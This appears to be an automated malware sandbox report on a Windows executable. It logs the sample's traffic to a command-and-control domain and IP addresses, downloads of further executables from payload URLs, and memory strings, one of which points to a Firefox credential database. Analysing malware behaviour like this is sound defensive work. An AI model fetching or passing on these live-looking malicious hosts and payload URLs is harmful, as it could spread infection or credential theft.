Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712807980.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeBS
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeem
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe_U
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713247899.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exerosoft
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp, 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/k
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpae1f-9bc86c8e8c94#
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~Q
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569315856.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: NE4jxHLxXJ.exe, NE4jxHLxXJ.exe, 00000000.00000003.1713852030.0000000005455000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1518141709.0000000005440000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565505173.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1518011730.000000000543B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712447304.0000000005449000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565076694.000000000544B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569290741.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: NE4jxHLxXJ.exe, 00000000.00000003.1540360746.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/a
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565505173.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565076694.000000000544B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540610558.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712807980.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1713727167.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1607925429.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591760408.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540360746.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1542509160.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569290741.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiob
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565505173.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565076694.000000000544B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540610558.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1607925429.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540360746.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1542509160.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569290741.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiqAYY
Source: NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/d
Source: NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/dc
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/es
Source: NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/ta
Source: NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/apiD
Source: NE4jxHLxXJ.exe, 00000000.00000003.1713247899.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/apia4ohrz.default-release/key4.dbPK
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569531668.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/apil
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542437195.00000000054CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49715 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: NE4jxHLxXJ.exe	Static PE information: section name:
Source: NE4jxHLxXJ.exe	Static PE information: section name: .idata
Source: NE4jxHLxXJ.exe	Static PE information: section name:
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name:
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name: .idata
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name:
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
